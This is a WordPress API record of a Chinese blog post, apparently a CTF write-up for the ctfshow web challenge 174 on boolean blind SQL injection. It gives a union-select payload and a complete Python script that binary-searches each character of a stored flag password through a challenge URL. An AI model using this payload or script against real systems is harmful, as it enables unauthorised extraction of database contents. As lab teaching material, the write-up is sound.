{"id":55,"date":"2026-05-23T23:59:38","date_gmt":"2026-05-23T15:59:38","guid":{"rendered":"http:\/\/tangjin.xyz\/?p=55"},"modified":"2026-05-24T00:00:15","modified_gmt":"2026-05-23T16:00:15","slug":"ctfshow-web%e5%85%a5%e9%97%a8174%e5%b8%83%e5%b0%94%e7%9b%b2%e6%b3%a8","status":"publish","type":"post","link":"http:\/\/tangjin.xyz\/index.php\/2026\/05\/23\/ctfshow-web%e5%85%a5%e9%97%a8174%e5%b8%83%e5%b0%94%e7%9b%b2%e6%b3%a8\/","title":{"rendered":"ctfshow-web\u5165\u95e8174\u5e03\u5c14\u76f2\u6ce8"},"content":{"rendered":"\n

\u7531\u8fd9\u91cc\u53ef\u4ee5\u77e5\u9053
\u53ea\u8981\u8fd4\u56de\u5185\u5bb9\u6709\u6570\u5b57\u5c31\u4f1a\u51fa\u73b0\u9519\u8bef<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u800c\u4e14\u56de\u663e\u53ea\u6709\u4e24\u5217\uff0c\u6240\u4ee5uinon select xx,xx
\u56e0\u4e3a\u8fd4\u56de\u7684\u5185\u5bb9\u662f\u4e0d\u80fd\u6709\u6570\u5b57\u7684<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n



\u6240\u4ee5\u8bf4payload = f”0′ union select ‘a’,if(ascii(substr((select password from ctfshow_user4 where username=’flag’),{index},1))>{offset},’cluster’,’boom’) %23″
\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u76f2\u6ce8\u7684\u5f62\u5f0f\u53bb\u6765\u5f97\u5230flag
\u811a\u672c\u5982\u4e0b<\/p>\n\n\n\n

import requests<\/code>
import urllib3<\/code><\/p>\n\n\n\n

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/code><\/p>\n\n\n\n

url = \"https:\/\/643fe701-2f1c-43f1-bbe6-297c14a8c1d3.challenge.ctf.show\/api\/v3.php?id=\"<\/code><\/p>\n\n\n\n

def test_chr(index: int, offset: int) -> bool:<\/code>
payload = f\"0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'),{index},1))>{offset},'cluster','boom') %23\"<\/code>
response = requests.get(url + payload, verify=False)<\/code>
if \"cluster\" in response.text:<\/code>
return True<\/code>
elif \"boom\" in response.text:<\/code>
return False<\/code><\/p>\n\n\n\n

def get_char(index: int) -> str:<\/code>
low, high = 32, 127<\/code>
while low < high:<\/code>
mid = (low + high) \/\/ 2<\/code>
if test_chr(index, mid):<\/code>
low = mid + 1<\/code>
else:<\/code>
high = mid<\/code>
return chr(low)<\/code><\/p>\n\n\n\n

flag = \"\"<\/code>
index = 1<\/code>
while True:<\/code>
ch = get_char(index)<\/code>
if ord(ch) < 32 or ord(ch) >= 127:<\/code>
break<\/code>
flag += ch<\/code>
print(f\"[*] flag: {flag}\")<\/code>
index += 1<\/code><\/p>\n\n\n\n

print(f\"\\n[+] Final flag: {flag}\")<\/code>
print(f\"\\n[+] Final flag: {flag}\")<\/code><\/p>\n\n\n\n

test_chr\uff08) \u548cget_char()\u51fd\u6570\u5c31\u662f\u7528\u6765\u786e\u8ba4flag\u7684\u6bcf\u4e00\u4e2a\u5b57\u6bcd
\u811a\u672c\u539f\u7406\uff1a
\u901a\u8fc7\u9875\u9762\u7684\u8fd4\u56de\u4e0d\u540c\u6765\u786e\u5b9a\u5b57\u6bcd\u7684\u8303\u56f4
\u7136\u540e\u901a\u8fc7\u4e8c\u5206\u67e5\u627e\u6765\u4e0d\u65ad\u7f29\u5c0f\u8303\u56f4\uff0c\u6700\u7ec8\u7684\u5f53get_char\uff08\uff09\u51fd\u6570\u4e2d\u7684low=hign\u65f6chr\uff08low\uff09\u5c31\u662f\u786e\u8ba4\u7684flag\u7684\u5b57\u6bcd<\/p>\n\n\n\n

\u6700\u7ec8\u5f97\u5230flag<\/p>\n\n\n\n

<\/p>\n","protected":false},"excerpt":{"rendered":"

\u7531\u8fd9\u91cc\u53ef\u4ee5\u77e5\u9053\u53ea\u8981\u8fd4\u56de\u5185\u5bb9\u6709\u6570\u5b57\u5c31\u4f1a\u51fa\u73b0\u9519\u8bef \u800c\u4e14\u56de\u663e\u53ea\u6709\u4e24\u5217\uff0c\u6240\u4ee5uinon select xx,xx\u56e0\u4e3a\u8fd4 […]<\/p>\n","protected":false},"author":1,"featured_media":52,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-55","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf-wp"],"_links":{"self":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts\/55","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/comments?post=55"}],"version-history":[{"count":1,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts\/55\/revisions"}],"predecessor-version":[{"id":58,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/posts\/55\/revisions\/58"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/media\/52"}],"wp:attachment":[{"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/media?parent=55"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/categories?post=55"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/tangjin.xyz\/index.php\/wp-json\/wp\/v2\/tags?post=55"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}